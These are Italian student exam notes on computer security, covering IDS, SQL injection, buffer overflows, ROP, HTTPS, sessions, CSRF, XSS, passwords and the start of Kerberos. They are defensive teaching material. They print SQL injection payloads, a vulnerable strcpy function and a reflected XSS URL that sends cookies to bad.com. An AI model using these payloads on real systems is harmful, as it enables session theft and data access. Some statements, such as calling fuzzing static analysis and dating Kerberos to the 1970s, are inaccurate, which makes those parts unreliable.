DOMANDE ESAME METODI (PUGLIESE)

Intrusion Detection System e Honeypot

Un **Intrusion Detection System (IDS)** è un sistema progettato per monitorare il traffico di rete o le attività di un sistema, rilevando attività sospette o non autorizzate che potrebbero rappresentare una minaccia. A differenza dell'**Intrusion Prevention System (IPS)**, un IDS non interviene attivamente per bloccare o prevenire un attacco, ma si limita a rilevare e segnalare eventi sospetti.

Funzionamento:

- Database di firme: includono modelli di byte specifici, sequenze di comando o altri comportamenti che sono stati precedentemente identificati come parti di attacchi.
- Analisi del traffico: l'IPS modifica il traffico di rete in tempo reale, confrontando i pacchetti di dati che attraversano il sistema con le firme note nel db.
- Rilevamento e prevenzione: se si trova una corrispondenza tra il traffico di rete ed una firma, l'IDS identifica l'attività come potenziale attacco ed in seguito:
    - Blocca il traffico interrompendo il flusso di dati;
    - Genera un avviso agli amministratori di rete per avviare indagini;
    - Modifica il traffico per neutralizzare l'attacco senza compromettere la connessione;

Vantaggi:

- Alta precisione: grazie alle firme, gli attacchi sono identificati con precisione, riducendo i falsi positivi;
- Risposta rapida: grazie al confronto in tempo reale;
- Facile aggiornamento: le firme possono essere aggiunte al db, per includere nuovi attacchi;

Limitazioni:

- Dipendenza dalle firme: possono rilevare attacchi già scoperti, risultando vulnerabili ai nuovi;
- Evasione: gli attaccanti possono modificare leggermente le caratteristiche degli attacchi rendendo inefficace il confronto con le firme. Nascono così i falsi negativi, ovvero attacchi che non vengono rilevati perché' non corrispondono esattamente alla firma esistente.

Snort: è uno dei più conosciuti IPS open source, utilizzato sia come IDS (intrusion detection system), sia come IPS. Utilizza un set di regole che descrivono pattern di attacco conosciuti, che agiscono come firme. Quando Snort rileva traffici anomali, avvisa gli amministratori di sistema.

Honeypots: sono dei sistemi trappola, riempiti con info false, progettati per attirare gli attaccanti e raccogliere informazioni sulle loro attività e sui loro strumenti, senza compromettere i sistemi reali.

Tipologie:

- **Low interaction:** Emulano servizi specifici senza eseguire versioni complete, adatti a rilevare attacchi imminenti.
- **High interaction:** Sistemi reali, con un completo sistema operativo e servizi, progettati per essere completamente accessibili agli attaccanti, fornendo così dati completi su come operano gli attaccanti.

SQL injection, descrizione dell'attacco, approcci di mitigazione e problemi.

SQL Injection è una tecnica di attacco che manipola le query SQL inviate a un database sfruttando input malevolo non validato. Questa vulnerabilità può portare all'accesso non autorizzato ai dati, modifica o eliminazione di informazioni e, nei casi più gravi, al controllo del server.

Tecniche di attacco:

- Injection base: ovvero manipolare una query SQL tramite input come ' OR 1=1 – per bypassare una autenticazione, es:

  SELECT * FROM users WHERE username = '' OR 1=1 -- AND password = 'abc';

- Union based SQL injection: combina risultati di query legittime a query arbitrarie, spesso malevole, tramite comando:

  ' UNION SELECT 1, 'admin', 'password123' FROM users –

- Blind SQL injection: Utilizza condizioni booleane per inferire informazioni senza mostrare direttamente i dati. Riesce a dedurre le informazioni in base al comportamento dell'applicazione, come il tempo di risposta. Esempio di comando:

  ' AND IF(1=1, SLEEP(5), NULL) --

- Error-based SQL: Deduce informazioni sensibili analizzando i messaggi di errore del database. Su queste SQLi si basano le pratiche per il retrieving DB schema, in cui utilizzando tecniche come ad esempio un 'ORDER by n – dove n è un numero crescente, si può determinare il numero di colonne di una tabella, poi tramite una 'UNION SELECT null, 'abc', null – si può determinare se la colonna contiene stringhe o meno. Tutte queste info si deducono sulla presenza o meno del messaggio d'errore, se abilitati dal database.

Mitigazione, vedremo di seguito le varie pratiche utili al fine di scongiurare le SQLi:

- Sanitizzazione degli input: prima di utilizzare una qualsivoglia query, è sempre bene filtrare e validare i dati per assicurarsi che non contengano comandi SQL o simboli in grado di performare una query arbitraria. È essenziale utilizzare funzioni di librerie già consolidate per evitare errori manuali;
- Whitelisting: consente solo input contenuti all'interno di una lista di valori legittimi. Questo è utile quando si ha un set di input prevedibili e limitati. È inutilizzabile per input dinamici e complessi, come ad esempio una ricerca;
- Blacklisting: al contrario del whitelisting, questo prevede un utilizzo di una serie di simboli o comandi bannati, noti per essere pericolosi (come ' oppure - -), tuttavia è meno sicuro del whitelisting, in quanto è impossibile prevedere tutte le potenziali minacce ed inserirle in questa lista.
- Prepared Statement: come dice la parola stessa, l'utilizzo di query precompilate, aiuta a separare i dati dalla logica della query stessa. Inserendo solo i parametri, l'utente non potrà quindi iniettare SQL.

- Escaping: Escapare i caratteri speciali è un metodo che consiste nel sostituire o antecedere con un carattere di escape, i caratteri speciali come i singoli apici, questo consente di annullare questi potenziali rischi. Un esempio:

  $safe_input = mysqli_real_escape_string($connection, $user_input);

  questo ci consente di aggiungere un backslash davanti ad ogni carattere speciale inserito all'interno di uno dei parametri che dopo verranno utilizzati all'interno di una query precompilata. Questa pratica non sostituisce l'uso di query parametrizzate.
- Avoiding Dynamic Queries: Un'altra tecnica è sicuramente quella di evitare il più possibile query dinamiche, ovvero query che concatenano input dell'utente direttamente nella stringa SQL. È sempre bene separare la logica delle query dai dati. Una pratica comune è l'utilizzo delle Stored Procedures, che vengono eseguite direttamente nel database e non sono suscettibili alle SQL injection, in quanto l'input è trattato come parametri e non come parte della query SQL.
- Avoiding Queries: in alcuni casi è possibile evitare del tutto di eseguire query SQL basate sull'input utente, affidandosi a framework come Hibernate o .NET che gestiscono le interazioni con il database. Questi framework spesso implementano ORM (object relational mapping) per astrarre l'accesso al database;
- Principio del Minimo privilegio: Assicurarsi che l'account del database utilizzato dall'applicazione abbia solo i privilegi necessari a svolgere il proprio lavoro. Se un'applicazione deve solo fare query SELECT, non può inviare altro tipo di query perché' non gli è consentito.

Ovviamente, la sicurezza è un processo multilivello. Un tipo di mitigazione non esclude l'altro, è sempre bene riuscire a concatenarne il più possibile in modo da blindare la nostra applicazione.

Buffer overflow, tipologia d'attacco, approcci per l'eliminazione e per la mitigazione con relativi problemi.

Un buffer overflow si verifica quando un programma scrive più dati in un buffer (un'area di memoria predefinita per contenere dati) di quanto esso possa effettivamente contenere. Questo causa la sovrascrittura di aree di memoria adiacenti, potenzialmente corrompendo dati o permettendo l'esecuzione di codice malevolo.

Tipologia d'Attacco:

- Stack-Based Overflow: Avviene quando il buffer si trova nello Stack, una struttura dati utilizzata per gestire le chiamate di funzione. Un attaccante potrebbe sovrascrivere l'indirizzo di ritorno dello stack, dirottando l'esecuzione verso un codice arbitrario (es. uno shellcode);
  es:
  ```
  void vulnerableFunction(char *input) {
      char buffer[128]; strcpy(buffer, input); // Nessun controllo sulla lunghezza dell'input }
  ```
- Heap-Based overflow: si verifica quando il buffer si trova nell'heap, un'area di memoria utilizzata per l'allocazione dinamica. Gli attaccanti possono corrompere i puntatori e manipolare strutture interne all'heap:
- Integer Overflow: un buffer overflow indiretto dove operazioni aritmetiche sui numeri interi causano la creazione di un buffer di dimensione errata, portando alla scrittura fuori dal limite.
- Format String exploit: un attacco correlato in cui un input non controllato è interpretato come un formato di stringa, causando buffer overflow o altre vulnerabilità.

Conseguenze:

- Esecuzione di codice arbitrario: Gli attaccanti posson inserire codice malevolo nel programma ed eseguirlo;
- Corruzione dei dati: la sovrascrittura di dati critici può portare a comportamenti imprevedibili del sistema;
- Crash del programma: il programma può terminare in modo anomalo, compromettendo la disponibilità del servizio;

Prevenzione:

- Uso di linguaggi memory safe: preferire linguaggi, ove possibile, come Java, Python o Rust, che gestiscono i limiti del buffer
- Scrittura codice Sicuro: evitare funzioni non sicure come strcpy, sprintf ecc.
- Analisi codice Statico: analizzare il programma con un grande numero di input casuali per scoprire eventuali bug (fuzzing), non mitiga al 100% ma serve sempre.

Mitigazione:

- **Stack Canaries**: un canarino, ovvero un valore casuale, viene inserito nello stack tra il buffer e l'indirizzo di ritorno. Prima di eseguire un ritorno di una funzione, il programma verifica il canarino, se è alterato allora crasha, prevenendo l'esecuzione di codice malevolo. GCC e StackGuard utilizzano questa tecnica, tramite Stack Smashing Protector. Protegge quindi SOLO

gli indirizzi di ritorno, è inefficace contro gli overflow sui puntatori che sono prima del ritorno, né con l'accesso alla memoria che avviene senza sovrascrivere il canary.

- **Non-Executable Memory:** Protegge la memoria marcandola come non eseguibile, impedisce quindi l'esecuzione del codice iniettato dopo un buffer overflow. Un problema è che gli attaccanti possono usare tecniche come la ROP per bypassare questa protezione.

- **ASLR:** Randomizzazione degli indirizzi di memoria, ovvero randomizza l'intero spazio degli indirizzi, quindi le posizioni dello stack, heap e librerie, rendendo difficile per gli attaccanti indovinare l'ubicazione del codice o dei dati. Ha alcuni punti deboli, come il brute forcing su macchine a 32 bit, dove lo spazio degli indirizzi è piccolo.

- **Bound checking:** serve a prevenire l'uso improprio dei puntatori, controllando se si trovano entro i limiti a loro consentiti.

    - Electric fences: Ogni volta che un programma richiede un'allocazione dinamica, Electric fences assegna non solo la quantità di memoria richiesta, ma anche una pagina di protezione aggiuntiva, adiacente alla memoria appena allocata. Se il buffer viene sovrascritto, il programma crasha immediatamente, in quanto la guard page è una sezione della memoria che non può essere ne scritta ne letta dal programma, riportando un segfault dal sistema. E' una soluzione facile da implementare, in quanto non richiede modifiche significative al codice sorgente, poiché viene applicato durante il runtime. Ha però delle limitazioni, in quanto le guard page generano un significativo overhead di memoria e di prestazioni, in più il crash al primo errore non è adatto a programmi che runnano magari su server che non possono mai fermarsi.

    - Fat pointers: sono puntatori che includo all'interno informazioni sui limiti (Base address, Bound e Current Pointer), abortendo il programma se si tenta di deferenziare un puntatore fuori di essi. Questo approccio risulta essere molto efficace contro i buffer overflow, apportando un livello di sicurezza elevato. Aumenta però la dimensione dei puntatori, richiedendo modifiche sostanziali sia nel compilatore che nella struttura di esecuzione, in quanto un puntatore tradizionale, occupa circa 32 o 64 bit, un fat pointer arriva anche a pesarne il triplo, 192 bit. Questo puntatore richiede anche controlli aggiuntivi, risultando pesante anche a livello computazionale.

    - Shadow data Structures: strutture in grado di memorizzare informazioni sui limiti per ogni puntatore ed intercettano le operazioni aritmetiche e di deferenziazione per verificare che i puntatori non eccedano i limiti, accedibili solo dal compilatore durante il runtime. Ogni puntatore o regione di memoria, quindi, ha una struttura associata, con le informazioni aggiuntive necessarie per verificare gli accessi alla memoria. Memorizza più o meno le stesse informazioni contenute da un fat pointer, più i permessi di accesso. Le strutture ombra vengono create ogni qualvolta un puntatore viene istanziato, viene poi inserita in una tabella, consultabile solo dal sistema, che mappa ogni puntatore ai suoi metadati. Anch'esse rendono ogni accesso alla

memoria molto sicuro, ma hanno sempre limitazioni, in quanto richiedono memoria aggiuntiva per memorizzare le informazioni di controllo. In più la necessità di consultare la tabella ogni volta, crea overhead computazionale.

- Baggy bounds: si basa sull'allineamento della memoria e sull'utilizzo di limiti arrotondati per semplificare il controllo degli accessi fuori dai limiti (out-of-bounds). Questa tecnica è progettata per rendere più efficiente la rilevazione degli accessi non validi alla memoria, riducendo allo stesso tempo l'overhead computazionale rispetto ad altri metodi di controllo. Quando un buffer viene allocato in memoria, la sua dimensione viene arrotondata alla potenza di 2 più vicina. Questo semplifica il calcolo dei limiti, poiché è facile determinare se un accesso rientra nei limiti corretti usando operazioni bitwise. Se un programma richiede 20 byte, Baggy Bounds assegna 32 byte e utilizza i restanti per gestire il controllo dei limiti, riducendo la granularità del controllo.

Si descrivano i vari attacchi di tipo code-reuse. Si spieghi perché' vengono utilizzati e le differenze che portano a preferire un attacco agli altri.

Gli attacchi di tipo **Code Reuse** rappresentano una categoria di tecniche utilizzate per eseguire codice arbitrario sfruttando frammenti di codice legittimo già presente in un'applicazione o in librerie di sistema. Questi attacchi sono diventati particolarmente rilevanti in risposta a mitigazioni come la Non-Executable Memory (NX), che impediscono l'esecuzione di codice iniettato in aree come lo stack o l'heap.

Principali attacchi di tipo code reuse:

- Programmazione orientata al ritorno ROP: è una tecnica di exploit che sfrutta i buffer overflow per manipolare il flusso di controllo. Dopo aver sovrascritto lo stack, concatena i gadget (piccoli frammenti di codice già esistenti e che presentano istruzioni di ritorno che serve a richiamare il gadget seguente) e ottiene l'esecuzione arbitraria di comandi complessi, bypassando protezioni come l'NX.

  Questa tecnica viene mitigata da alcune misure di sicurezza:
  - ASLR, che rende difficile prevedere gli indirizzi di memoria dei gadgets;
  - CFI, protegge il programma contro la manipolazione del flusso di controllo, come quella causata da un buffer overflow, rileva e blocca tutte le esecuzioni che non rispettano il grado del flusso di controllo legittimo del programma definito in fase di compilazione (CFG), che sfrutta le varie etichette inserite ad ogni funzione. Qualsiasi salto indiretto o ritorno che sia, viene controllato e bloccato se non previsto.
  - NX, impedisce l'esecuzione di codice iniettato in memoria come lo stack.

- Return to Libc: E' un attacco che si basa sull'utilizzo di funzioni già esistenti in librerie condivise, come la libc su sistemi Unix. Un attaccante può ad esempio manipolare il puntatore di ritorno nello stack per eseguire una funzione come system(), passando parametri controllati (es. /bin/sh) per ottenere una shell. Non richiede l'iniezione di codice arbitrario, eludendo protezioni come NX.
  Limitazioni:
  - Richiede la conoscenza esatta delle funzioni e dei loro indirizzi, rendendolo meno efficace contro mitigazioni come ASLR rispetto a ROP.

- Jump-Oriented Programming (JOP): simile a ROP ma utilizza gadget che terminano con istruzioni di salto (JMP) invece che di ritorno (RET). Permette di eluder difese specifiche contro ROP come le retpoline.

- Call-Oriented_Programming (COP): variante del JOP che utilizza gadget terminati da istruzioni CALL, particolarmente utile quando le protezioni contro ROP e JOP rendono questi approcci inefficaci, ma richiede un'analisi dettagliata del codice bersaglio.

HTTPS:

Https è la versione sicura del protocollo http (hypertext transfer protocol). http è il protocollo standard per la trasmissione di dati sul web. Utilizza richieste del tipo POST per inviare dati ad un server e GET per richiederli. Le risposte http includono un codice di stato come ad esempio 200 ok oppure 404 not found e possono contenere informazioni in formati HTML, JSON, XML o altri formati di dati.

HTTPS utilizza il protocollo TLS (transport layer security) per garantire la sicurezza delle comunicazioni tra un client (un browser) ed un server web. Questo protocollo è essenziale per proteggere i dati sensibili durante il loro trasferimento, come credenziali di accesso, dati personali o finanziari.

Caratteristiche principali:

- Crittografia: HTTPS cripta tutti i dati trasmessi tra il client ed il server, rendendo difficile per gli attaccanti intercettare o manipolare le informazioni. Utilizza una crittografia (es. AES) dopo l'handshake iniziale, per garantire prestazioni migliori.
- Autenticazione: Utilizza certificati digitali emessi da autorità di certificazione per garantire che il server sia autentico e non un'entità malevola. L'autenticità del server è verificata durante l'handshake TLS. Inoltre, i cookies possono essere marcati con un flag "Secure", il che significa che possono essere inviati solo tramite https.
- Integrità dei dati: Assicura che i dati non vengano alterati durante la trasmissione, grazie a meccanismi come HMAC (Hash based message autentication code).\
- Politica same origin: assicura che solo risorse provenienti dalla stessa origine possano interagire tra loro. Quindi una pagina servita tramite https non può comunicare con una servita tramite http, impedisce quindi che javascript proveniente da una pagina non sicura possa influenzare o accedere ai dati di una pagina sicura.

Vulnerabilità:

- SSL Stripping: è un attacco che costringe https ad un downgrade ad http, intercettando i dati non crittografati. Si può mitigare con HSTS per forzare i browser ad usare https sempre.
- Autenticazione server: si basa su certificati digitali emessi da una Certification Authority (CA). Tuttavia, ci sono vari rischi associati a questo processo:
    - Certificati ottenuti illegittimamente: se le CA utilizzassero politiche di verifica deboli, un attaccante potrebbe riuscire ad ottenere un certificato che non gli appartiene;
    - Compromissione Ca: alcune Ca sono state compromesse, permettendo all'attaccante di emettere certificati fraudolenti;
    - Certificati rubati o scaduti: i server possono essere compromessi e le loro chiavi rubate, rendendo inefficaci i certificati validi;

    esiste tuttavia una lista di certificati revocati, da aggiornare ogni tot, chiamate CRL. Esistono anche protocolli che permettono ai client di verificare in tempo reale la validità di un certificato contattando un Online Status Protocol responder.

- Contenuti misti: alcune pagine possono essere esposte da alcuni contenuti all'interno di essa che caricano risorse in http (immagini, script ecc.).
- Debolezze nella crittografia: alcuni server utilizzano sistemi di crittografia ormai obsoleti e facilmente raggirabili. Difficilmente però la crittografia è l'anello debole della catena.

Si descrivano le modalità di utilizzo degli hidden fields e dei cookies nella gestione delle sessioni su web. Si discutano inoltre gli aspetti critici di sicurezza ed i possibili approcci alla loro mitigazione.

Le applicazioni web operano quindi su un protocollo stateless (http), che non mantiene quindi uno stato tra una comunicazione ed un'altra. Ad oggi però la gestione delle sessioni su applicazioni web è fondamentale per mantenere uno stato temporaneo, come ad esempio una sessione utente, che non sia persistente a livello di database. I due meccanismi più comuni per mantenere questo stato sono gli hidden fields ed i cookies.

Hidden fields:

gli hidden fields sono campi nascosti all'interno di moduli HTML. Vengono utilizzati per trasferire informazioni tra il client ed il server durante le richieste http successive.

Gli hidden fields sono inclusi come input di tipo hidden nei moduli HTML:

```
<input type="hidden" name="session_id" value="123456789">
```

Consentono quindi di inviare informazioni nascoste, come ad esempio alcune info persistenti come un ID di sessione al server ogni volta che il modulo viene inviato.

Punti a sfavore: questi campi nascosti sono visibili nel codice sorgente e possono essere modificabili manualmente dall'utente, compromettendo l'integrità dei dati trasmessi, permettendo quindi ad un utente di modificare parametri critici o impersonare un altro utente. In più se una connessione non è protetta da HTTPS, possono essere manomessi da un attacco man in the middle.

Una soluzione al problema delle modifiche è l'utilizzo delle capabilities. In questo approccio, il server mantiene lo stato fidato (ad es. il session id) ed invia al server un riferimento a questo, sotto forma di capability. Una capability è un identificatore univoco e sicuro (un numero casuale grande) che il client utilizza nelle richieste successive per fare riferimento allo stato memorizzato dal server. Il backend reperisce il valore dal server facendo una lookup table.

Quindi gli hidden field sono semplici ma altrettanto manipolabili manualmente, in più sono poco affidabili in quanto una perdita della sessione costringerebbe l'utente a rifare tutto il processo da capo. Ed è qui che entrano in gioco i cookies.

Cookies:

I cookie sono piccoli file di testo memorizzati sul dispositivo dell'utente da parte del browser. Sono uno dei metodi più comuni per mantenere lo stato in applicazioni web. Possono contenere informazioni come l'ID di sessione, le preferenze dell'utente, le impostazioni di lingua ecc. Questi dati vengono inviati dal browser al server con ogni richiesta http.

Il server crea lo stato necessario e lo invia al client. Questo stato può essere inserito in hidden fields nei moduli HTML o memorizzato nei cookie. Il client invia nuovamente questo stato al server con le richieste successive, a differenza degli hidden fields, il cookie viene inviato ad ogni richiesta, non ad ogni invio del modulo.

I cookie sono strutturati come coppia chiave valore, dove la chiave è il nome del cookie ed il valore è il contenuto che il server deve memorizzare. Es. Set-Cookie: session_id=123456789; HttpOnly; Secure;

utilizzi dei cookie:

- Identificatore di sessione: dopo che un utente si è autenticato, il server assegna un identificatore di sessione che viene memorizzato in un cookie. Questo permette di rimanere autenticato senza dover reinserire le credenziali ad ogni nuova richiesta.
- Personalizzazione: personalizzare l'esperienza utente, ovvero memorizzare le preferenze di layout o di lingua ecc.
- Tracking: gli inserzionisti utilizzano i cookie per tracciare il comportamento degli utenti in rete, in modo da offrire pubblicità mirata basata sulle preferenze e abitudini.

In generale quindi, gli hidden fields sono più semplici ma limitati e vulnerabili a modifiche manuali, mentre i cookies offrono maggiore flessibilità e persistenza, ma richiedono configurazioni corrette per mitigare vulnerabilità come xss e csrf. In ogni caso è quasi obbligatorio l'utilizzo di HTTPS.

Aspetti critici di sicurezza:

- Session Hijacking: è un attacco in cui il malintenzionato ruba il cookie di sessione di un utente per impersonarlo sul web.
  Esempi di attacchi:
  - Compromissione del server o del browser dell'utente per rubare i cookies di sessione
  - Previsione del cookie se l'algoritmo utilizzato per generarli è debole
  - Network sniffing, ovvero intercettazione durante la loro trasmissione non criptata
  - DNS cache poisoning, in cui l'attaccante fa credere alla vittima di star comunicando con un server legittimo

  Difese contro il session hijacking:

  - Utilizzare https per criptare la trasmissione
  - Assicurarsi che i cookie siano casuali e lunghi
  - Invalidare i cookie di sessione dopo un certo lasso di tempo per inattività o quando l'utente si disconnette

  Strategie contro il session Hijacking:

  - NON – defense: Store Client IP Address for Session: ovvero memorizzare l'indirizzo IP del client associato ad una sessione, monitorando eventuali cambiamenti di questo indirizzo durante la sessione. Se cambia l'ip vuol dire che la sessione potrebbe essere compromessa.
    Ovviamente uno dei problemi di questa tecnica è che gli indirizzi ip dei client cambiano frequentemente per motivi legittimi, magari per una rinegoziazione DHCP o per un passaggio a rete diversa come da mobile a wi-fi, generando falsi positivi. Oppure falsi negativi, quando l'attaccante risulta con lo stesso IP, in quanto si trova sullo sesso NAT e condividono lo stesso indirizzo pubblico.

- Cross-Site Request Forgery (CSRF): è un attacco in cui un malintenzionato induce un utente autenticato a compiere azioni indesiderate su un sito a cui è loggato. Il browser dell'utente invia automaticamente cookie associati al sito, la richiesta sembra legittima al server.
  Un esempio di CSRF è un utente loggato su bank.com che visita un link malevolo, inviando anche il cookie di sessione al server di bank.com, che interpreta la richiesta come legittima ed accetta la richiesta di denaro.
  Mitigazioni del CSRF:
    - Referrer header: viene verificato dal server per assicurarsi che la richiesta provenga da una pagina legittima; tuttavia, è opzionale e può essere manipolato;
    - Seceretized links: ovvero includere un token segreto unico in ogni link o form inviato dal server (che lo verifica) insieme alla richiesta.
    - Frameworks di sviluppo web: molti framework moderni come django includono meccanismi integrati per prevenire CSRF tramite l'inclusione automatica di token di protezione nei form.

CROSS-SITE SCRIPTING (XSS) introduzione e dopo le 2 domande:

gli XSS permettono agli attaccanti di iniettare script dannosi nelle pagine web, che vengono poi eseguiti dai browser degli utenti ignari. Questi script possono rubare cookie, sessioni o eseguire azioni a nome dell'utente. L'obbiettivo principale è sovvertire le SOP, ovvero le same origin policy, delle misure di sicurezza fondamentali nei browser che impediscono a documenti o script caricati da un origine di interagire con risorse di una diversa origine. La SOP si elude fornendo uno script malevolo in grado di ingannare il browser dell'utente facendogli credere che l'origine dello script sia legittima; quindi, lo script viene eseguito con i privilegi del sito legittimo.

Attacchi di tipo stored cross-site scripting e possibili approcci alla loro mitigazione.

Nello stored XSS, conosciuto anche come persistent XSS, lo script viene memorizzato sul server, ad esempio nei commenti di un blog, e viene eseguito da chiunque visiti la pagina, viene usato di solito quando si vuole colpire un gran numero di utenti. La vulnerabilità sta nel fatto che il server non riesce a garantire che i contenuti caricati sulla pagina non contengano script incorporati, permettendo all'attaccante di iniettare codice javascript dannoso all'interno della pagina web.

Caso famoso, Samy worm su MySpace:

- Samy ha inserito un programma javascript nel suo profilo di myspace, che è riuscito a superare i filtri del server. Gli utenti che visitavano la pagina, venivano automaticamente inseriti negli amici di Samy, modificava il profilo degli utenti per mostrare il messaggio "Samy is my hero" e veniva poi installato lo script nella pagina della vittima, creando una infezione a catena. In sole 20 ore Samy raggiunse più di 1mln di followers, facendo chiudere myspace per un fine settimana in modo da risolvere il problema.

Attacchi di tipo reflected cross-site scripting e possibili approcci alla loro mitigazione.

In questo attacco, lo script iniettato viene riflesso subito sul client, come parte della risposta http. Questo avviene tramite URL manipolati che includono script dannosi, come ad esempio l'URL phishing che induce l'utente a cliccare su un link contenente codice javascript malevolo, eseguito coi privilegi della pagina legittima. Oppure quando un'applicazione riceve dati in una richiesta http e li include nella risposta immediata in modo non sicuro.

Fasi attacco:

- L'attaccante convince l'utente ad inviare un URL a bank.com che contiene codice JavaScript incorporato. Questo può avvenire con un URL phishing.
- Il server di bank.com riceve la richiesta, include l'input utente con lo script nella risposta HTML senza una corretta sanificazione. Questo fa sì che lo script venga riflesso e rispedito al browser utente.
- Il browser esegue lo script credendo sia legittimo, conferendone tutti i privilegi.

Esempio:

- Url malevolo:
  - http://victim.com/search.php?term=<script>window.open("http://bad.com/steal?c="+document.cookie)</script>
- Riposta del server:

```
<html>
  <title> Search results </title>
  <body>
    Results for
<script>window.open("http://bad.com/steal?c="+document.cookie)</scr
ipt>:...
  </body>
</html>
```

- Esecuzione dello script: il browser esegue lo script come se fosse stato inviato da victim.com, permettendo all'attaccante di rubare info sensibili come i cookie.

Mitigazione attacchi XSS (vale sia per i reflected che per gli stored):

- Sanificazione con Filtri/Escape: ovvero rimuovere tutte le porzioni eseguibili dei contenuti forniti dall'utente che verranno visualizzati nelle pagine HTML, quindi eliminare tag come <script> o <javascript> dai contenuti forniti. È un'operazione che viene spesso eseguita su framework come Wordpress. Non è infallibile in quanto gli attaccanti possono trovare nuovi modi per iniettare Javascript, utilizzando ad esempio tag CSS o dati codificati in XML, es.
  - ...

- Whitelisting: invece che convalidare tutto l'intero linguaggio di markup, si concede solo un sottinsieme semplice e ristretto.
- http-only cookies: un server può indicare al browsr che il JavaScript lato client non può accedere ad un cookie, aggiungendo il tag HttpOnly ad un valore http "Set-Cookie". È comunque una difesa parziale in quanto l'attaccante può comunque inviare richieste che contengono i cookie di un utente tramite CSRF.
- Content Security Policy (CSP): consente ad un server web di indicare al browser quali tipi di risorse possono essere caricati e le origini consentite per tali risorse. Si possono specificare diverse politiche separate per immagini, script, frame ecc.

Forza delle password e possibili attacchi

La password è il metodo di autenticazione più diffuso per proteggere account e dati personali. Durante l'autenticazione, il server memorizza una rappresentazione della password e la confronta con quella inviata dall'utente al momento del login. Se i dati coincidono, l'accesso viene concesso.

Forza della Password:

La forza di una password si misura tramite entropia, che rappresenta la quantità di casualità all'interno di una password. Una password con alta entropia è più resistente a tentativi di indovinamento (bruteforce) o a dizionari precompilati.

Fattori che Influenzano la Forza della Password

- Lunghezza: Una password più lunga aumenta esponenzialmente il numero di combinazioni possibili.
- Varietà di Caratteri: Include maiuscole, minuscole, numeri e simboli per aumentare l'entropia.
- Casualità: Password non basate su schemi prevedibili o informazioni personali (es. nomi, date di nascita).

Problemi Comuni:

- Le password create dagli utenti sono spesso prevedibili e ripetitive.
- Le password più comuni (es. "123456", "password") sono frequentemente utilizzate, aumentando la vulnerabilità.

Mitigazioni:

- Educare gli Utenti: Informare sull'importanza di scegliere password robuste e non condividere le proprie credenziali.
- Generazione Automatica: Usare software per creare password completamente casuali e lunghe.
- Valutazione della Forza: Fornire feedback sulla forza della password durante la creazione, indicando i requisiti di sicurezza.
- Rotazione delle Password: Consigliare agli utenti di aggiornare regolarmente le password per ridurre il rischio di compromissioni.

Attacchi alle Password

Gli attacchi alle password mirano a ottenere l'accesso a un account compromettendo il sistema di autenticazione. I principali tipi di attacco includono:

- Brute Force (Forza Bruta):
    - L'attaccante prova tutte le combinazioni possibili per indovinare la password.
    - Mitigazione: Limitare il numero di tentativi con timeout crescenti o bloccare l'account dopo un certo numero di tentativi falliti.
- Credential Stuffing:

    - L’attaccante utilizza combinazioni di credenziali compromesse in altri sistemi per tentare l’accesso.
    - Mitigazione: Forzare password uniche per ogni sistema e monitorare tentativi multipli da indirizzi IP sospetti.
- Attacchi Basati su Informazioni Personali:
    - L’attaccante utilizza dettagli sulla vittima (es. nome, data di nascita) per indovinare la password.
    - Mitigazione: Educare gli utenti a non utilizzare informazioni prevedibili nelle password.
- Accesso Fisico al Dispositivo:
    - L’attaccante accede a un dispositivo su cui l'utente è già loggato.
    - Mitigazione: Implementare un auto-logout dopo un periodo di inattività.
- Keylogging o Intercettazione:
    - Software maligni registrano le sequenze di tasti o intercettano password durante la trasmissione.
    - Mitigazione: Usare connessioni HTTPS e strumenti anti-malware.

Vulnerabilità delle Password

Le password presentano vulnerabilità intrinseche legate al comportamento degli utenti e alla loro gestione:

- Condivisione delle Password:
    - Gli utenti possono condividere password con altri, aumentando il rischio di compromissione.
    - Mitigazione: Educare sull’importanza della segretezza e adottare sistemi di autenticazione a più fattori.
- Riutilizzo delle Password:
    - Gli utenti tendono a riutilizzare la stessa password su più servizi.
    - Mitigazione: Fornire notifiche se una password compromessa è utilizzata su altri sistemi (es. tramite servizi come "Have I Been Pwned").
- Intercettazione delle Password:
    - Le password possono essere catturate durante la trasmissione se non sono crittografate.
    - Mitigazione: Utilizzare HTTPS e crittografia end-to-end.

Possibili modalità di memorizzazione delle password:

La sicurezza delle password dipende anche da come vengono memorizzate dal server. Le principali tecniche includono:

- Conservazione in Chiaro:
  - Memorizzare le password in formato leggibile è estremamente vulnerabile.
  - Problema: Un attacco al database può esporre tutte le password.
- Conservazione Crittografata:
  - Le password sono memorizzate in forma crittografata.
  - Problema: Se la chiave di crittografia o il server su cui la chiave vengono compromessi, tutte le password diventano accessibili.
- Conservazione Hashed:
  - Le password sono sottoposte a una funzione di hash (es. SHA-256) prima di essere memorizzate.
  - Problema: Vulnerabile a brute force su hash noti.
  - Mitigazione:
    - Salt: Aggiungere un valore casuale univoco (salt) prima di eseguire l'hashing.
    - Funzioni di Hashing Sicure: Utilizzare algoritmi progettati per resistere ai brute force, come bcrypt, argon2 o PBKDF2.

Si descrivano l'architettura e il protocollo Kerberos. Si discutano inoltre gli aspetti critici di sicurezza e le piu significative differenze tra le versioni "v4" e "v5"

Kerberos è un protocollo di autenticazione molto noto, sviluppato negli anni 70. Serve a gestire l'autenticazione in un ambiente di rete. Questo sistema si concentra sulla risoluzione del problema del "login multiplo", ovvero la necessità di autenticarsi a diversi servizi e server all'interno di una rete.

Architettura:

L'architettura si basa su un server centrale di fiducia noto come Key Distribution Center (KDC) al quale tutte le entità di rete (utenti, client e server) si affidano per la gestione delle chiavi e l'autenticazione. Le macchine nella rete invece, non si fidano tra di loro e non danno fiducia alla rete, può fidarsi solo della propria macchina locale. Ogni utente su Kerberos ha permessi root sulla propria workstation ed il sistema utilizza chiavi simmetriche per la crittografia. Kerberos viene molto utilizzato oggi, con Microsoft Active Directory che impiega Kerberos v5 come parte fondamentale del suo sistema di autenticazione.

V4 di kerberos, funzionamento:

ci sono 2 fasi principali:

- Kerberos protocol:
    - **Richiesta del TGT**: Il client invia una richiesta al KDC per autenticarsi con il Ticket Granting Service (TGS). La richiesta include l'identità del client (es. C) e l'identità del TGS (TGS).
        - Client → KDC: {C, TGS}
    - **Risposta del KDC**: Il KDC genera e invia al client, ovvero
        - KDC → Client: {KTGS(TC, TGS), KC,TGS}:
            - Un **ticket cifrato per il TGS** (KTGS(TC, TGS)), cifrato con la chiave segreta del TGS (KTGS).
            - Una **chiave di sessione** (KC,TGS), condivisa tra il client e il TGS.
            - La chiave di sessione (KC,TGS) viene cifrata con la chiave segreta del client (KC).
- TGS protocol:
